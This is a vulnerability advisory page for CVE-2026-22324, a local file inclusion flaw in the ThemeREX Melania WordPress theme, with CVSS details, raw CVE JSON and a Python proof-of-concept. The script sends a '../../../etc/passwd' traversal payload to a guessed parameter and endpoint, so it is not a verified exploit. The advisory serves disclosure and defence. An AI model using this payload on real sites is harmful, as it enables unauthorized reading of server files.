Security Vulnerability Report
中文
CVE-2026-22324 CVSS 8.1 HIGH

CVE-2026-22324

Published: 2026-03-20 10:16:18
Last Modified: 2026-04-28 19:36:29

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeREX Melania allows PHP Local File Inclusion.This issue affects Melania: from n/a through 2.5.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ThemeREX Melania <= 2.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_lfi(target_url): """ PoC for CVE-2026-22324: Local File Inclusion in Melania Theme. This script attempts to read the /etc/passwd file. """ # The vulnerable endpoint might vary, this is a common pattern in WP themes # e.g., http://target/wp-content/themes/melania/inc/custom.php?file=... vuln_param = "path" payload = "../../../etc/passwd" full_url = f"{target_url}?{vuln_param}={payload}" try: response = requests.get(full_url, timeout=10) if response.status_code == 200 and "root:" in response.text: print(f"[+] Exploit Successful! LFI detected at {target_url}") print(f"[+] Response snippet:\n{response.text[:200]}") return True else: print(f"[-] Exploit Failed or target patched.") return False except Exception as e: print(f"[!] Error occurred: {e}") return False if __name__ == "__main__": target = "http://example.com/wp-content/themes/melania/vulnerable_endpoint.php" exploit_lfi(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22324", "sourceIdentifier": "[email protected]", "published": "2026-03-20T10:16:18.413", "lastModified": "2026-04-28T19:36:28.820", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeREX Melania allows PHP Local File Inclusion.This issue affects Melania: from n/a through 2.5.0."}, {"lang": "es", "value": "La vulnerabilidad de Control inadecuado del nombre de fichero para la declaración include/require en un programa PHP ('inclusión remota de ficheros PHP') en ThemeREX Melania permite la inclusión local de ficheros PHP. Este problema afecta a Melania: desde n/a hasta 2.5.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/theme/melania/vulnerability/wordpress-melania-theme-2-5-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}